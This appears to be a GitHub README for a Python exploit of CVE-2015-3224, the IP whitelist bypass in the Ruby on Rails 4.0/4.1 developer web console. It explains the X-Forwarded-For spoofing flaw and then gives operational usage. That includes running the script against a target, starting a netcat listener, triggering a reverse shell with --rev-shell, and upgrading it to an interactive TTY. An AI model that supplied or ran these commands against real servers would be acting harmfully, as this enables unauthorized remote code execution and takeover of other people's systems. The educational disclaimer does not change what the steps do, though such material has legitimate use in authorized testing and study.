
Ruby on Rails Web Console Exploit (CVE-2015-3224)
This repository contains a Python script to exploit an IP whitelist bypass vulnerability in the developer web console of Ruby on Rails 4.0.x and 4.1.x. The script allows for remote code execution on vulnerable servers.
⚠️ Disclaimer This script is intended for educational purposes and authorized security testing only. Do not use it on any system without explicit permission. The authors are not responsible for any misuse or damage caused by this script.
The web console in vulnerable versions of Ruby on Rails is intended for development purposes and should only be accessible from trusted IP addresses. However, due to improper handling of the X-Forwarded-For HTTP header, an attacker can spoof their IP address to appear as a trusted local user (e.g., 127.0.0.1 or ::1). This bypasses the IP whitelist and grants unauthorized access to the web console, leading to remote code execution.
requests libraryInstall requests:
pip install requests
Clone the repository:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <repo-directory>
Make the script executable:
chmod +x exploit.py
This mode is useful for running quick, simple commands.
./exploit.py -t http://<TARGET_IP>:<PORT>
This is the recommended mode for a stable, fully interactive shell.
On your local machine, open a new terminal and start a netcat listener.
nc -lvnp 9001
In another terminal, run the script with the --rev-shell flag, providing your local IP (lhost) and port (lport).
./exploit.py -t http://<TARGET_IP>:<PORT> --rev-shell --lhost <YOUR_IP> --lport 9001
A connection will arrive at your netcat listener. To upgrade it to a fully interactive TTY, follow these steps in the netcat window:
Ctrl+Z.stty raw -echo; fg
Enter if the prompt doesn't reappear.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
You now have a fully functional and stable shell!